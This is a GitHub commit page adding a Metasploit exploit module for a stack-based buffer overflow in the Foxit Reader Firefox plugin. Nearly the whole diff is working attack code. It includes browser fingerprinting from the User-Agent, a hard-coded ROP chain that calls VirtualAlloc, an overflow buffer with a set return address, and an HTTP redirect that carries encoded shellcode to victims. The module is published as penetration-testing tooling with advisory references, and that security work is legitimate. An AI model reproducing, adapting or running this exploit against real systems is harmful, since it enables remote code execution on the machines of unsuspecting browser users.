Skip to content

Commit 323a58b

Browse files
committed
Merge branch 'foxit_reader_plugin_url_bof' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-foxit_reader_plugin_url_bof
2 parents 398e6cb + f58cc6a commit 323a58b

File tree

1 file changed

+187
-0
lines changed

1 file changed

+187
-0
lines changed
Lines changed: 187 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,187 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
12+
include Msf::Exploit::Remote::HttpServer::HTML
13+
14+
Rank = NormalRanking
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow",
19+
'Description' => %q{
20+
This module exploits a vulnerability in the Foxit Reader Plugin, it exists in
21+
the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts,
22+
overly long query strings within URLs can cause a stack-based buffer overflow,
23+
which can be exploited to execute arbitrary code. This exploit has been tested
24+
on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281
25+
(npFoxitReaderPlugin.dll version 2.2.1.530).
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' =>
29+
[
30+
'rgod <rgod[at]autistici.org>', # initial discovery and poc
31+
'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module
32+
'juan vazquez', # metasploit module
33+
],
34+
'References' =>
35+
[
36+
[ 'OSVDB', '89030' ],
37+
[ 'BID', '57174' ],
38+
[ 'EDB', '23944' ],
39+
[ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],
40+
[ 'URL', 'http://secunia.com/advisories/51733/' ]
41+
],
42+
'Payload' =>
43+
{
44+
'Space' => 2000,
45+
'DisableNops' => true
46+
},
47+
'DefaultOptions' =>
48+
{
49+
'EXITFUNC' => "process",
50+
'InitialAutoRunScript' => 'migrate -f'
51+
},
52+
'Platform' => 'win',
53+
'Targets' =>
54+
[
55+
# npFoxitReaderPlugin.dll version 2.2.1.530
56+
[ 'Automatic', {} ],
57+
[ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281',
58+
{
59+
'Offset' => 272,
60+
'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin
61+
'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin
62+
:rop => :win7_rop_chain
63+
}
64+
]
65+
],
66+
'Privileged' => false,
67+
'DisclosureDate' => "Jan 7 2013",
68+
'DefaultTarget' => 0))
69+
end
70+
71+
def get_target(agent)
72+
#If the user is already specified by the user, we'll just use that
73+
return target if target.name != 'Automatic'
74+
75+
#Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
76+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
77+
firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || ''
78+
79+
case nt
80+
when '5.1'
81+
os_name = 'Windows XP SP3'
82+
when '6.0'
83+
os_name = 'Windows Vista'
84+
when '6.1'
85+
os_name = 'Windows 7'
86+
end
87+
88+
if os_name == 'Windows 7' and firefox =~ /18/
89+
return targets[1]
90+
end
91+
92+
return nil
93+
end
94+
95+
# Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
96+
def win7_rop_chain
97+
98+
# rop chain generated with mona.py - www.corelan.be
99+
rop_gadgets =
100+
[
101+
0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
102+
0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
103+
0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
104+
0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
105+
0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]
106+
0x41414141, # Filler (RETN offset compensation)
107+
0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll]
108+
0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]
109+
0x00001000, # 0x00001000-> edx
110+
0x1000d9ec, # XOR EDX, EDX # RETN
111+
0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
112+
0x41414141, # Filler (compensate)
113+
0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]
114+
0x41414141, # Filler (RETN offset compensation)
115+
0x41414141, # Filler (RETN offset compensation)
116+
0x41414141, # Filler (RETN offset compensation)
117+
0x41414141, # Filler (RETN offset compensation)
118+
0x00000040, # 0x00000040-> ecx
119+
0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]
120+
0x00000001, # 0x00000001-> ebx
121+
0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]
122+
0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
123+
0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
124+
0x90909090, # nop
125+
0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
126+
].flatten.pack("V*")
127+
128+
return rop_gadgets
129+
end
130+
131+
def on_request_uri(cli, request)
132+
133+
agent = request.headers['User-Agent']
134+
my_target = get_target(agent)
135+
136+
# Avoid the attack if no suitable target found
137+
if my_target.nil?
138+
print_error("Browser not supported, sending 404: #{agent}")
139+
send_not_found(cli)
140+
return
141+
end
142+
143+
unless self.respond_to?(my_target[:rop])
144+
print_error("Invalid target specified: no callback function defined")
145+
send_not_found(cli)
146+
return
147+
end
148+
149+
return if ((p = regenerate_payload(cli)) == nil)
150+
151+
# we use two responses:
152+
# one for an HTTP 301 redirect and sending the payload
153+
# and one for sending the HTTP 200 OK with appropriate Content-Type
154+
if request.resource =~ /\.pdf$/
155+
# sending Content-Type
156+
resp = create_response(200, "OK")
157+
resp.body = ""
158+
resp['Content-Type'] = 'application/pdf'
159+
resp['Content-Length'] = rand_text_numeric(3,"0")
160+
cli.send_response(resp)
161+
return
162+
else
163+
resp = create_response(301, "Moved Permanently")
164+
resp.body = ""
165+
166+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
167+
if datastore['SSL']
168+
schema = "https"
169+
else
170+
schema = "http"
171+
end
172+
173+
sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length)
174+
sploit << [my_target.ret].pack("V") # EIP
175+
sploit << [my_target['WritableAddress']].pack("V") # Writable Address
176+
sploit << self.send(my_target[:rop])
177+
sploit << p.encoded
178+
179+
resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
180+
cli.send_response(resp)
181+
182+
# handle the payload
183+
handler(cli)
184+
end
185+
end
186+
187+
end

0 commit comments

Comments
 (0)